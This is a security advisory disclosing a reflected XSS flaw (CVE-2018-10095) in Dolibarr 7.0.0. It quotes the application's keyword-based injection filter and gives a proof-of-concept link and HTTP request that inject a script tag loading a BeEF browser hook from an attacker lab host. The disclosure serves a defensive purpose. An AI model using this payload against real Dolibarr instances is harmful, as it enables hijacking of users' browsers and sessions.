[CVE-2018-10095] Dolibarr XSS Injection vulnerability

We found a Cross-site scripting (XSS) vulnerability in Dolibarr, which is an "Open Source ERP & CRM for Business" used by many companies worldwide.

Description

Dolibarr is an “Open Source ERP & CRM for Business” used by many companies worldwide.

It is available through GitHub or as distribution packages (e.g .deb package).

Threat

The application does not handle user input properly, allowing client-side JavaScript code injection (XSS).

Expectation

User input should be filtered to avoid arbitrary HTML injection.

Vulnerability type

CVE ID: CVE-2018-10095

Access Vector: remote

Security Risk: high

Vulnerability: CWE-79

CVSS Base Score: 7.4

CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Details

Checks are enforced on user input via the test_sql_and_script_inject() function, which forbids some SQL keywords (e.g union, create, insert) and some XSS-related strings (onfocus, for instance).

main.inc.php

/**
 * Security: SQL Injection and XSS Injection (scripts) protection (Filters on GET, POST, PHP_SELF).
 *
 * @param       string      $val        Value
 * @param       string      $type       1=GET, 0=POST, 2=PHP_SELF
 * @return      int                     >0 if there is an injection
 */
function test_sql_and_script_inject($val, $type)
{
    $inj = 0;
    // For SQL Injection (only GET are used to be included into bad escaped SQL requests)
    if ($type == 1)
    {
        $inj += preg_match('/updatexml\(/i',     $val);
        $inj += preg_match('/delete\s+from/i',   $val);
        $inj += preg_match('/create\s+table/i',  $val);
        $inj += preg_match('/insert\s+into/i',   $val);
        $inj += preg_match('/select\s+from/i',   $val);
        $inj += preg_match('/into\s+(outfile|dumpfile)/i',  $val);
    }
    if ($type != 2) // Not common, we can check on POST
    {
        $inj += preg_match('/update.+set.+=/i',  $val);
        $inj += preg_match('/union.+select/i',   $val);
        $inj += preg_match('/(\.\.%2f)+/i',      $val);
    }
    // For XSS Injection done by adding javascript with script
    // This is all cases a browser consider text is javascript:
    // When it found '<script', 'javascript:', '<style', 'onload\s=' on body tag, '="&' on a tag size with old browsers
    // All examples on page: http://ha.ckers.org/xss.html#XSScalc
    // More on https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
    $inj += preg_match('/<script/i', $val);
    $inj += preg_match('/<iframe/i', $val);
    $inj += preg_match('/Set\.constructor/i', $val);    // ECMA script 6
    if (! defined('NOSTYLECHECK')) $inj += preg_match('/<style/i', $val);
    $inj += preg_match('/base[\s]+href/si', $val);
    $inj += preg_match('/<.*onmouse/si', $val);       // onmousexxx can be set on img or any html tag like <img title='...' onmouseover=alert(1)>
    $inj += preg_match('/onerror\s*=/i', $val);       // onerror can be set on img or any html tag like <img title='...' onerror = alert(1)>
    $inj += preg_match('/onfocus\s*=/i', $val);       // onfocus can be set on input text html tag like <input type='text' value='...' onfocus = alert(1)>
    $inj += preg_match('/onload\s*=/i', $val);        // onload can be set on svg tag <svg/onload=alert(1)> or other tag like body <body onload=alert(1)>
    $inj += preg_match('/onclick\s*=/i', $val);       // onclick can be set on img text html tag like <img onclick = alert(1)>
    $inj += preg_match('/onscroll\s*=/i', $val);      // onscroll can be on textarea
    //$inj += preg_match('/on[A-Z][a-z]+\*=/', $val);   // To lock event handlers onAbort(), ...
    $inj += preg_match('/:|&#0000058|&#x3A/i', $val);       // refused string ':' encoded (no reason to have it encoded) to lock 'javascript:...'
    //if ($type == 1)
    //{
        $inj += preg_match('/javascript:/i', $val);
        $inj += preg_match('/vbscript:/i', $val);
    //}
    // For XSS Injection done by adding javascript closing html tags like with onmousemove, etc... (closing a src or href tag with not cleaned param)
    if ($type == 1) $inj += preg_match('/"/i', $val);       // We refused " in GET parameters value
    if ($type == 2) $inj += preg_match('/[;"]/', $val);     // PHP_SELF is a file system path. It can contains spaces.
    return $inj;
}

Proof of Concept : injecting a Beef agent into the victim’s browser

Exploit link

http://dolibarr.lab:2080//dolibarr/adherents/cartes/carte.php?&mode=cardlogin&foruserlogin=%22%3e%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%73%3a%2f%2f%61%74%74%61%63%6b%2e%6c%61%62%2f%62%65%65%66%2f%68%6f%6f%6b%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e&model=5160&optioncss=print

HTTP Request

GET /dolibarr/adherents/cartes/carte.php?&mode=cardlogin&foruserlogin=%22%3e%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%73%3a%2f%2f%61%74%74%61%63%6b%2e%6c%61%62%2f%62%65%65%66%2f%68%6f%6f%6b%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e&model=5160&optioncss=print HTTP/1.1
Host: dolibarr.lab:2080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://dolibarr.lab:2080/dolibarr/adherents/cartes/carte.php
Cookie: DOLSESSID_cac4a1e49e4040e845340fe919bd202b=8833dl7see43ifl6l9667huvt5


...

t><br>Login: <input size="10" type="text" name="foruserlogin" value=""><script src="https://attack.lab/beef/hook.js"></script>"><br><input class="button" type="submit" value="Build Doc"></form><br><img src="/dolibar

Affected versions

  • Version 7.0.0 (last stable version as of March 2018) – previous versions are probably also vulnerable but not tested

Solution

Update to 7.0.2 (changelog)

Timeline (dd/mm/yyyy)

  • 18/03/2018 : Initial discovery
  • 17/04/2018 : Contact with the editor
  • 17/04/2018 : Editor acknowledges the vulnerability
  • 18/04/2018 : Editor announces fixes in version 7.0.2
  • 21/05/2018 : Vulnerability disclosure

Credits

  • Issam RABHI (i dot rabhi at sysdream.com)
  • Kevin LOCATI (k dot locati at sysdream dot com)

Recevez toute l'actualité en avant-première